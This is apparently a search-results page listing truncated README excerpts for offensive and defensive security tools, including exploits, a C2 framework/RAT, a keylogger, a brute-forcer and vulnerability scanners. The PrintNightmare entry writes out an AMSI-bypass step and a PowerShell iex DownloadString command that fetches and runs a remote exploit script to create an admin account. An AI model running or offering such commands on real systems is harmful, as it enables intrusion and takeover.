782530 matches found
log4j-finder
log4j-finder Un script en Python3 para escanear el sistema de archivos y encontrar Log4j2 vulnerable a Log4Shell CVE-2021-44228 y CVE-2021-45046 y CVE-2021-45105. Escanea recursivamente tanto en disco como dentro de archivos Java Archive JAR anidados. Cómo funciona log4j-finder identifica librerí...
cve-2021-1675
cve-2021-1675 disble amsi: copy into powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt execute invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' create admin account...
ida_kernelcache
idakernelcache: An IDA Toolkit for analyzing iOS kernelcaches idakernelcache is an IDAPython module for IDA Pro to make working with iOS kernelcaches easier. The module provides functions to: Convert iOS 12's new static tagged pointers into normal kernel pointers. Parse the kernel's PRELINKINFO...
patator
Patator Patator was written out of frustration from using Hydra, Medusa, Ncrack, Metasploit modules and Nmap NSE scripts for password guessing attacks. I opted for a different approach in order to not create yet another brute-forcing tool and avoid repeating the same shortcomings. Patator is a...
Zero-day-scanning
zeroscan Zeroscan is a Domain Controller vulnerability scanner, that currently includes checks for Zerologon CVE-2020-1472, MS-PAR/MS-RPRN and SMBv2 Signing. CVE-2020-1472: Uses a built-in script to check for Zerologon CVE-2020-1472, but does NOT attempt to exploit the target, it is simply a...
CVE-2022-23222
CVE-2022-23222 如果你只想构建并运行这个东西，点这里。 下面大致是对这篇中文文章（writeup）的翻译， 原文见此处。 我们将以 5.13.0 版本的主线内核代码作为参考。 可用的指针类型与检查其边界的函数之间存在不匹配。 这种不匹配最早在 Linux 5.8 中引入，此后已被修补。 可用指针类型的列表见 此处。c / types of values stored in eBPF registers / / Pointer types represent: pointer pointer + imm pointer + u16 var pointer + u16 var ...
CVE-2026-8732
CVE-2026-8732 - WordPress WP Google Map Pro Mass Scanner & Auto Admin Creator 📌 Description This tool exploits CVE-2026-8732 , a vulnerability in the WP Google Map Pro plugin for WordPress. The vulnerability allows an unauthenticated attacker to obtain a valid wpmptoken via an AJAX endpoint...
ssh_Enum_vaild
sshEnumvaild A Bash script to enumerate valid SSH usernames using the CVE-2018-15473 vulnerability. It checks for valid usernames on an OpenSSH server by analyzing authentication responses. Features ✅ Detects valid SSH usernames based on OpenSSH response behavior ✅ Uses a public key authenticatio...
collisions
哈希碰撞与利用 作者：Ange Albertini 与 Marc Stevens。 常见问题（TL;DR） 问：能否让一个文件获得任意的 MD2/MD4/MD5/MD6/SHA1/SHA2/SHA3 哈希，或者与另一个文件相同的哈希？ 答：不能。 问：能否创建两个哈希相同的不同文件？ 答：对于 MD5，在标准计算机上只需几秒钟。对于 SHA1，这可行，但对最终用户而言并不实用（复杂度：2^61.2 成本：1.1 万美元）。 问：能否通过附加数据让两个不同文件获得相同哈希？ 答：对于 MD5，在标准计算机上只需几小时。对于 SHA1，这可行，但对最终用户而言并不实用（复杂度：2^63.4...
CVE-2019-3396-Memshell-for-Behinder
CVE-2019-3396-Memshell-for-Behinder CVE-2019-3396 Memshell for Behinder Usage javac BehinderMemShell.java then Turn BehinderMemShell.class to BCEL Behinder URL : http://the-confluence-ip/login.action Script Type： JSP Password：rebeyond Header：X-Expires: memok...
wptsextensions.dll
用于利用任务计划程序 DLL 劫持的 WptsExtensions.dll（"不会修复 "） 加载 x64 Visual Studio 环境变量： root@kitploit: "C:\Program Files x86\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat" 将 TCHAR script 变量更新为一个可写的 SYSTEM 路径，DLL 将在此路径中被查找。 可查看此工具来查找这类路径。 你也可以通过以下命令列出此环境变量： powershell -c...
antnium
Antnium root@kitploit: Anti Tanium 一个用 Go 编写的 C2 框架和 RAT。 此源代码作为我的演讲 开发你自己的 RAT - AV 与 EDR 防御 的参考公开发布。 Antnium 旨在满足我自己的需求，而不是他人的需求。它适用于我所执行的攻击活动，但未必是一个通用型 C2 框架。 有两个组件： client.exe：真正的 RAT / beacon / agent / implant server.exe：C2 服务器 功能特性 HTTP/S 和 Websocket 通信信道 代理支持（手动、Windows、认证和 Kerberos） 命令执行 ...
SliverKeylogger
Sliver Keylogger 这个 Sliver 扩展的编写主要是一次学习练习，用以了解 Sliver 如何处理扩展。 我要感谢整个 Sliver 团队在这个公开植入框架上所做的工作。 特别感谢 @rkervell 回答了许多我关于 Sliver 如何处理其扩展的问题。 工作原理 基本上，它使用原始输入。这相对于其他常见的键盘记录方法既有利也有弊。 我喜欢它的原因在于，它不需要注入到其他二进制文件中，也不需要频繁轮询某个调用而可能错过结果。 这段代码一部分是我自己的作品，一部分是互联网上找到的各种示例的整合。 如何构建 使用 Visual Studio 2019 打开解决方案文件，并...
CVE-2025-68723
CVE-2025-68723: Axigen WebAdmin Stored XSS Vulnerability Summary Multiple input fields within the Axigen WebAdmin interface lack proper sanitization, allowing for the execution of malicious JavaScript. These vulnerabilities enable a low-privileged administrator or an attacker leveraging Broken...
Tomcat-CVE-2025-31650
CVE-2025-31650 🚨 Proof of Concept PoC for Apache Tomcat HTTP/2 DoS vulnerability CVE-2025-31650 This script triggers a memory exhaustion condition in Apache Tomcat by sending malformed priority headers over HTTP/2. 🎯 Affected Versions Apache Tomcat 9.0.76 – 9.0.102 Apache Tomcat 10.1.10 – 10.1.39...
CVE-2020-1472-visualizer
CVE-2020-1472 事件读取器 v1.1 2020/8/27 此脚本将： 1. 扫描输入文件夹中的系统 evtx，查找事件 5827、5828、5829、5830 和 5831，精确数据字段，导出到 582-.CSV。 2. 调用 Excel 导入生成的 582-.CSV，为常见的安全 RPC 分析场景创建数据透视表。之后删除 582-.CSV。 随意修改以符合你的需求。 脚本会尽力匹配以帮助管理员，请随意修改。 脚本需要 Excel 2013 或更高版本。 64 位 Excel 可允许创建更大的数据导入到 XLS。 使用脚本方法： 1. 将系统日志另存为...
CVE-2024-9264
CVE-2024-9264-RCE-Exploit in Grafana via SQL Expressions Description Proof Of Concept for Remote Code Execution in Grafana CVE-2024-9264 This repository contains a Python script that exploits a Remote Code Execution RCE vulnerability in Grafana's SQL Expressions feature. By leveraging insufficien...
CVE-2025-3605
🚀 CVE-2025-3605 漏洞利用指南 🛡️ 漏洞摘要 WordPress 的 Frontend Login and Registration Blocks 插件（版本 = 1.0.7）存在通过账户接管实现权限提升 的漏洞。 问题在于该插件在通过 flrblocksusersettingshandleajaxcallback 函数更新电子邮件等敏感信息时，未验证用户身份 。 ✅ 影响： 未经认证的攻击者可以更改管理员的电子邮件地址，触发"忘记密码"流程，并重置管理员密码，从而获得完全控制权。 💥 概念验证（PoC） 随附的 Python 脚本通过针对易受攻击的 AJAX...
CVE-2025-51411
🛡️ CVE 披露：CVE-2025-51411 — Institute-of-Current-Students 中的反射型 XSS 披露日期： 2025年7月25日 CVE ID： CVE-2025-51411 严重性： 中危 CVSS 6.1 🧩 概述 Institute-of-Current-Students v1.0 项目的 postquerypublic 端点存在一个反射型跨站脚本 XSS 漏洞。email 参数中的未经清理输入直接反射回响应 HTML 中，允许攻击者在访问恶意链接或提交精心构造请求的用户浏览器中执行任意 JavaScript。 此问题已被分配标识符...